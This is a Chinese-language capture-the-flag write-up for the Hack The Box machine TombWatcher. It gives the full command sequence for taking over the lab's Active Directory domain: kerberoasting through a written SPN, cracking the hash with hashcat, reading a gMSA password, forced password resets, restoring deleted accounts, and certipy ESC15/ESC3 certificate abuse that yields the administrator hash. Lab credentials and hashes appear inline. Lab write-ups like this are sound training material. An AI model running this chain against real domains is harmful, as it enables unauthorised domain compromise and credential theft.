HTB 赛季8靶场 - TombWatcher
开局我们便拥有henry / H3nry_987TGV!
Nmap扫描
nmap -p- --min-rate 1000 -T4 10.129.244.230 -oA nmapfullscanNmap scan report for 10.129.244.230
Host is up (0.25s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49666/tcp open unknown
49677/tcp open unknown
49678/tcp open unknown
49679/tcp open unknown
49698/tcp open unknown
49711/tcp open unknown
49725/tcp open unknown
nxc快速扫描smb
nxc smb 10.129.244.230 -u henry -p H3nry_987TGV!
nxc ldap 10.129.244.230 -u henry -p H3nry_987TGV!
Bloodhound信息搜集
bloodhound-python -d tombwatcher.htb -dc dc01.tombwatcher.htb -c All -u henry -p H3nry_987TGV! --dns-timeout 10
攻击路线分析
先全局查看,并没发现什么有趣的内容
MATCH p=shortestPath((t:Group)<-[:Owns|GenericAll|GenericWrite|WriteOwner|WriteDacl|MemberOf|ForceChangePassword|AllExtendedRights|AddMember|HasSession|GPLink|AllowedToDelegate|CoerceToTGT|AllowedToAct|AdminTo|CanPSRemote|CanRDP|ExecuteDCOM|HasSIDHistory|AddSelf|DCSync|ReadLAPSPassword|ReadGMSAPassword|DumpSMSAPassword|SQLAdmin|AddAllowedToAct|WriteSPN|AddKeyCredentialLink|SyncLAPSPassword|WriteAccountRestrictions|WriteGPLink|GoldenCert|ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC6a|ADCSESC6b|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13|SyncedToEntraUser|CoerceAndRelayNTLMToSMB|CoerceAndRelayNTLMToADCS|WriteOwnerLimitedRights|OwnsLimitedRights|CoerceAndRelayNTLMToLDAP|CoerceAndRelayNTLMToLDAPS|Contains|DCFor|TrustedBy*1..]-(s:Base))
WHERE t.objectid ENDS WITH '-512' AND s <> tAND t.name ENDS WITH "@TOMBWATCHER.HTB"AND s.name ENDS WITH "@TOMBWATCHER.HTB"
RETURN p
LIMIT 1000
我们跟踪目前获取的用户来看,我们可以发现,我们拥有一整条攻击链,并可获取John用户,然后将用户写入ADCS OU中,这样我们很可能可以获取一个ADCS的控制权限。然后使用证书攻击。
WriteSPN on User & ASREP攻击
我们可以借助这个攻击窃取TGS,然而这个TGS我们并不了解可以用于什么服务,所以,我们只能对其采取离线破解方案。
# Add a SPN to attribute to the targeted account
bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" set object "$TARGET" servicePrincipalName -v 'http/anything' nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -H "$NThash" --kerberoasting kerberoastables.txtbloodyAD -d tombwatcher.htb -u henry -p H3nry_987TGV! --dc-ip 10.129.244.230 set object "alfred" servicePrincipalName -v 'http/anything' nxc ldap "dc01.tombwatcher.htb" -d "tombwatcher.htb" -u "henry" -p H3nry_987TGV! --kerberoasting kerberoastables.txt
hashcat离线破解
成功对密码进行了离线破解
mv kerberoastables.txt hash.kerberoastables hashcat -a 0 -m 13100 hash.kerberoastables /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt
获取账号
alfred:basketball
ReadGMSAPassword 窃取GMSAP密码
我们可以通过以下步骤完成hash窃取
#将用户加入拥有权限组
bloodyAD -d tombwatcher.htb -u alfred -p basketball --dc-ip 10.129.244.230 add groupMember INFRASTRUCTURE alfred#窃取密码
bloodyAD -d tombwatcher.htb -u alfred -p basketball --dc-ip 10.129.244.230 get object ansible_dev$ --attr msDS-ManagedPassword
ansible_dev$:aad3b435b51404eeaad3b435b51404ee:1c37d00093dc2a5f25176bf2d474afdc
ForceChangePassword on User 强制修改密码
bloodyAD -d tombwatcher.htb -u ansible_dev$ -p aad3b435b51404eeaad3b435b51404ee:1c37d00093dc2a5f25176bf2d474afdc --dc-ip 10.129.244.230 set password sam ydx@comehere
WriteOwner on User - 强制修改密码
bloodyAD -d tombwatcher.htb -u sam -p ydx@comehere --dc-ip 10.129.244.230 set owner john sambloodyAD -d tombwatcher.htb -u sam -p ydx@comehere --dc-ip 10.129.244.230 add genericAll john sambloodyAD -d tombwatcher.htb -u sam -p ydx@comehere --dc-ip 10.129.244.230 set password john ydx@comehere
试错 - ADCS攻击失败 & GenericAll on OU 无用户
我们查看了有关该权限的作用,貌似只能掌管OU下的用户,但是有趣的是没有用户。那么我们思考该用户的作用,John对ADCS下的用户拥有全权管理能力,这可能说明他是ADCS的管理员,我们使用certipy-ad进行探测。并且我们发现他是证书服务接入准许用户。
certipy-ad find -u john -p ydx@comehere -dc-ip 10.129.244.230 -vulnerable
结果显示貌似没有证书服务漏洞。我们在此执行一个全局扫描。
certipy-ad find -u john -p ydx@comehere -dc-ip 10.129.244.230
检查用户可写内容,我们仅发现了可以发现窃取OU当中的用户。
bloodyAD -d tombwatcher.htb -u john -p ydx@comehere --dc-ip 10.129.244.230 get writeable --detail
Powershell 恢复 AD recycle bin 用户
然而ADCS OU里面没有用户其实是非常奇怪的,因为如果没有为何要设置这个组?所以我打算查看AD 回收站里面的情况。其实当我们拥有可控一个立足点的情况下,我们非常建议查看一下AD回收站。
#查明删除账户
Get-ADObject -Filter 'isDeleted -eq $True' -IncludeDeletedObjects
我们看到cert_admin账户被多次删除,让我们尝试还原他。
#还原账户
Restore-ADObject -Identity f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
实施查看用户详细信息(gui),当然我们也可以使用bloodyAD完成这个步骤,只是我嫌麻烦,哈哈哈。
./godap 10.129.244.230 -u henry -p H3nry_987TGV! -d tombwatcher.htb
ADCS 攻击 - ESC15 攻击
我们的john对ADCS有genericAll能力,而cert_admin又在ADCS中,所以我们可以直接修改该账户的密码。
bloodyAD -d tombwatcher.htb -u john -p ydx@comehere --dc-ip 10.129.244.230 set password cert_admin ydx@comehere
再次使用certipy扫描证书服务器漏洞,值得注意的是3个用户均是cert_admin但是他们是不一样的实体,所以我们需要多次尝试所有用户。经过尝试938182c3-bf0b-410a-9aaa-45c8e1a02ebf拥有问题
Remove-ADUser -Identity "cert_admin" -Confirm:$false
Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
certipy-ad find -u cert_admin -p ydx@comehere -dc-ip 10.129.244.230 -vulnerable
我们使用ESC15 攻击
# 请求一个证书
certipy-ad req -u cert_admin -p ydx@comehere -dc-ip 10.129.244.230 --application-policies "1.3.6.1.4.1.311.20.2.1" -ca tombwatcher-CA-1 -template WebServer # ESC3攻击,伪装成其他用户
certipy-ad req -u cert_admin -p ydx@comehere -dc-ip 10.129.244.230 -on-behalf-of TOMBWATCHER\\Administrator -template User -ca tombwatcher-CA-1 -pfx cert_admin.pfx# 使用伪造证书获取hash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.244.230
获取Root
'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc